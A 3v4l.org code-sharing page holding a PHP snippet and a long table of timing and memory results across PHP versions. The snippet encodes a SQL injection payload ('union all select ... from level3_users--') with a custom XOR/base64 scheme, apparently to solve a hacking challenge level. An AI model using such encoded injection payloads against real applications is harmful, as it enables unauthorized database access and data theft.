3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' ' union all select 1,2,3,4,5,6,7 from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00716.88
8.3.50.0100.01116.63
8.3.40.0090.00619.00
8.3.30.0150.00018.95
8.3.20.0050.00318.90
8.3.10.0060.00320.64
8.3.00.0030.00619.63
8.2.180.0190.00316.75
8.2.170.0150.00622.96
8.2.160.0180.00421.19
8.2.150.0030.00524.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00421.05
8.2.110.0040.00721.12
8.2.100.0100.00317.97
8.2.90.0060.00321.09
8.2.80.0080.00019.31
8.2.70.0030.00617.88
8.2.60.0000.00818.03
8.2.50.0050.00318.07
8.2.40.0040.00418.22
8.2.30.0040.00418.17
8.2.20.0070.00017.84
8.2.10.0000.00817.96
8.2.00.0070.00417.80
8.1.280.0130.01025.92
8.1.270.0040.00424.66
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0030.00622.59
8.1.230.0080.00420.88
8.1.220.0040.00417.74
8.1.210.0120.00018.90
8.1.200.0100.00017.72
8.1.190.0040.00417.55
8.1.180.0000.00818.10
8.1.170.0080.00018.85
8.1.160.0000.00818.94
8.1.150.0020.00518.78
8.1.140.0000.00717.62
8.1.130.0000.00817.75
8.1.120.0080.00017.62
8.1.110.0000.00817.61
8.1.100.0050.00217.57
8.1.90.0040.00417.63
8.1.80.0000.00717.52
8.1.70.0030.00917.66
8.1.60.0000.00817.76
8.1.50.0000.00817.60
8.1.40.0000.00817.60
8.1.30.0000.00817.85
8.1.20.0050.00217.80
8.1.10.0060.00317.79
8.1.00.0040.00417.68
8.0.300.0030.00520.03
8.0.290.0000.00717.00
8.0.280.0030.00318.48
8.0.270.0030.00317.36
8.0.260.0080.00316.98
8.0.250.0090.00017.01
8.0.240.0000.00716.98
8.0.230.0030.00317.14
8.0.220.0030.00616.96
8.0.210.0000.00716.98
8.0.200.0030.00317.09
8.0.190.0000.00817.04
8.0.180.0100.00017.12
8.0.170.0000.00917.06
8.0.160.0050.00317.00
8.0.150.0090.00017.03
8.0.140.0030.00716.93
8.0.130.0060.00013.56
8.0.120.0050.00217.03
8.0.110.0040.00416.96
8.0.100.0040.00417.03
8.0.90.0050.00216.94
8.0.80.0120.00317.01
8.0.70.0070.00017.13
8.0.60.0000.00717.01
8.0.50.0070.00017.07
8.0.30.0180.00816.99
8.0.20.0080.01117.19
8.0.10.0040.00417.08
8.0.00.0100.01017.07
7.4.330.0030.00313.24
7.4.320.0060.00016.77
7.4.300.0080.00016.75
7.4.290.0040.00416.73
7.4.280.0040.00416.63
7.4.270.0030.00516.84
7.4.260.0000.00513.49
7.4.250.0070.00316.73
7.4.240.0050.00316.85
7.4.230.0070.00016.95
7.4.220.0150.01116.88
7.4.210.0100.00816.76
7.4.200.0000.00816.65
7.4.190.0040.00417.02
7.4.160.0130.01016.79
7.4.150.0130.01016.41
7.4.140.0090.01216.65
7.4.130.0090.00916.71
7.4.120.0070.01216.70
7.4.110.0070.01016.69
7.4.100.0120.00416.65
7.4.90.0070.01116.76
7.4.80.0130.01019.39
7.4.70.0090.00816.94
7.4.60.0130.01016.70
7.4.50.0040.00416.55
7.4.40.0000.01116.48
7.4.30.0030.01216.73
7.4.00.0070.00715.37
7.3.330.0000.00613.54
7.3.320.0030.00313.47
7.3.310.0000.00716.58
7.3.300.0000.00716.55
7.3.290.0040.01116.53
7.3.280.0110.00616.50
7.3.270.0130.00516.64
7.3.260.0130.01016.56
7.3.250.0080.01316.65
7.3.240.0140.00516.73
7.3.230.0060.01316.67
7.3.210.0090.00916.86
7.3.200.0100.00617.00
7.3.190.0090.01216.68
7.3.180.0090.00616.94
7.3.170.0070.01016.57
7.3.160.0080.00816.72
7.3.120.0070.01014.84
7.3.10.0060.00916.79
7.3.00.0070.01016.49
7.2.330.0100.01016.87
7.2.320.0090.00916.92
7.2.310.0090.01216.86
7.2.300.0100.01316.68
7.2.290.0130.01016.84
7.2.130.0060.00917.35
7.2.120.0050.00517.07
7.2.110.0000.01416.90
7.2.100.0040.00817.02
7.2.90.0030.00617.20
7.2.80.0030.01217.29
7.2.70.0070.00717.21
7.2.60.0030.01016.98
7.2.50.0060.01017.16
7.2.40.0090.00617.06
7.2.30.0060.00616.88
7.2.20.0040.00717.15
7.2.10.0100.00317.25
7.2.00.0010.01218.29
7.1.250.0070.00315.80
7.1.200.0060.00915.95
7.1.100.0060.00618.32
7.1.70.0040.00417.33
7.1.60.0170.00719.40
7.1.50.0040.00717.23
7.1.00.0000.06322.45
7.0.200.0100.00616.93
7.0.140.0000.07322.15
7.0.120.0030.07322.09
7.0.60.0070.07320.00
7.0.50.0070.04717.99
7.0.40.0070.08017.73
7.0.30.0100.06317.88
7.0.20.0130.07317.70
7.0.10.0030.08317.79
7.0.00.0100.05717.77
5.6.280.0000.07720.93
5.6.210.0100.07020.67
5.6.200.0030.04318.20
5.6.190.0100.07718.18
5.6.180.0070.07718.23
5.6.170.0030.08018.19
5.6.160.0100.07718.13
5.6.150.0070.08018.16
5.6.140.0030.07318.27
5.6.130.0170.07318.28
5.6.120.0070.08018.29
5.6.110.0030.08718.22
5.6.100.0070.08318.23
5.6.90.0230.04018.15
5.6.80.0070.05717.57
5.6.70.0100.05017.55
5.6.60.0070.07017.59
5.6.50.0130.04017.68
5.6.40.0070.05317.64
5.6.30.0100.04317.53
5.6.20.0070.06317.60
5.6.10.0070.07717.54
5.6.00.0030.05717.63
5.5.350.0000.08320.37
5.5.340.0030.04017.98
5.5.330.0070.05017.98
5.5.320.0130.07318.09
5.5.310.0100.08018.03
5.5.300.0000.05318.06
5.5.290.0130.07318.09
5.5.280.0100.08018.02
5.5.270.0070.08017.98
5.5.260.0070.08318.07
5.5.250.0030.06717.82
5.5.240.0170.06717.52
5.5.230.0130.03717.42
5.5.220.0170.06717.46
5.5.210.0000.05017.47
5.5.200.0130.06717.33
5.5.190.0070.05317.37
5.5.180.0070.07317.30
5.5.160.0100.06717.30
5.5.150.0100.04317.42
5.5.140.0070.04017.34
5.5.130.0030.07717.44
5.5.120.0070.06717.43
5.5.110.0030.08317.32
5.5.100.0030.08017.24
5.5.90.0030.05017.23
5.5.80.0130.07017.32
5.5.70.0000.04317.26
5.5.60.0000.05017.20
5.5.50.0130.03017.23
5.5.40.0170.04017.21
5.5.30.0030.06017.21
5.5.20.0030.07017.27
5.5.10.0100.06017.22
5.5.00.0070.05717.27
5.4.450.0070.08319.45
5.4.440.0070.06719.38
5.4.430.0130.07019.20
5.4.420.0070.07019.32
5.4.410.0100.08019.24
5.4.400.0070.07319.03
5.4.390.0100.07719.02
5.4.380.0030.08318.88
5.4.370.0070.03718.96
5.4.360.0130.04319.01
5.4.350.0070.06319.15
5.4.340.0030.08018.98
5.4.320.0200.06319.27
5.4.310.0130.05319.08
5.4.300.0070.03719.09
5.4.290.0000.04018.88
5.4.280.0130.04319.09
5.4.270.0170.06019.01
5.4.260.0070.06318.95
5.4.250.0130.05719.11
5.4.240.0100.06319.09
5.4.230.0100.04719.04
5.4.220.0100.07319.03
5.4.210.0070.04319.02
5.4.200.0130.07318.88
5.4.190.0130.06719.04
5.4.180.0070.07019.02
5.4.170.0200.06719.00
5.4.160.0030.07718.86
5.4.150.0100.07319.02
5.4.140.0000.06316.46
5.4.130.0070.07716.34
5.4.120.0070.04316.43
5.4.110.0070.04016.43
5.4.100.0100.06016.62
5.4.90.0070.06716.40
5.4.80.0070.04016.33
5.4.70.0070.03316.44
5.4.60.0070.06316.21
5.4.50.0100.05716.56
5.4.40.0130.07016.60
5.4.30.0130.07016.42
5.4.20.0000.04316.20
5.4.10.0070.04716.20
5.4.00.0030.07715.77
5.3.290.0070.05014.71
5.3.280.0000.06014.65
5.3.270.0070.06314.48
5.3.260.0070.06314.68
5.3.250.0230.05714.65
5.3.240.0130.06314.68
5.3.230.0030.07714.60
5.3.220.0130.06314.62
5.3.210.0130.07014.54
5.3.200.0170.07014.59
5.3.190.0130.04714.65
5.3.180.0100.07014.61
5.3.170.0030.05014.79
5.3.160.0170.06714.61
5.3.150.0070.07714.57
5.3.140.0100.07714.63
5.3.130.0100.07014.65
5.3.120.0100.05014.60
5.3.110.0000.06714.55
5.3.100.0070.05014.09
5.3.90.0130.06014.07
5.3.80.0030.07714.09
5.3.70.0100.07314.05
5.3.60.0070.07714.21
5.3.50.0100.07014.02
5.3.40.0030.04713.97
5.3.30.0070.07313.97
5.3.20.0070.07713.70
5.3.10.0030.05313.64
5.3.00.0070.06313.54
5.2.170.0070.06011.07
5.2.160.0000.05311.19
5.2.150.0030.03711.20
5.2.140.0030.04011.05
5.2.130.0070.06011.17
5.2.120.0030.04011.16
5.2.110.0130.05311.11
5.2.100.0030.04011.01
5.2.90.0070.06011.00
5.2.80.0030.03011.06
5.2.70.0030.05711.14
5.2.60.0170.05011.11
5.2.50.0170.02310.93
5.2.40.0170.04711.05
5.2.30.0030.04010.90
5.2.20.0030.04711.03
5.2.10.0170.05310.90
5.2.00.0100.05310.77
5.1.60.0100.0439.95
5.1.50.0000.05310.05
5.1.40.0030.0309.94
5.1.30.0070.05010.56
5.1.20.0130.02310.35
5.1.10.0000.04010.13
5.1.00.0000.04010.08
5.0.50.0000.0278.48
5.0.40.0030.0408.46
5.0.30.0070.0608.33
5.0.20.0030.0278.16
5.0.10.0100.0308.16
5.0.00.0070.0608.12
4.4.90.0000.0307.53
4.4.80.0000.0337.53
4.4.70.0070.0207.53
4.4.60.0030.0277.53
4.4.50.0070.0337.53
4.4.40.0000.0577.53
4.4.30.0000.0207.53
4.4.20.0030.0177.53
4.4.10.0100.0137.53
4.4.00.0070.0537.53
4.3.110.0000.0277.53
4.3.100.0030.0207.53
4.3.90.0030.0207.53
4.3.80.0000.0337.53
4.3.70.0000.0407.53
4.3.60.0000.0237.53
4.3.50.0000.0307.53
4.3.40.0000.0307.53
4.3.30.0030.0337.53
4.3.20.0030.0377.53
4.3.10.0070.0307.53
4.3.00.0000.0377.53

preferences:
45.4 ms | 401 KiB | 5 Q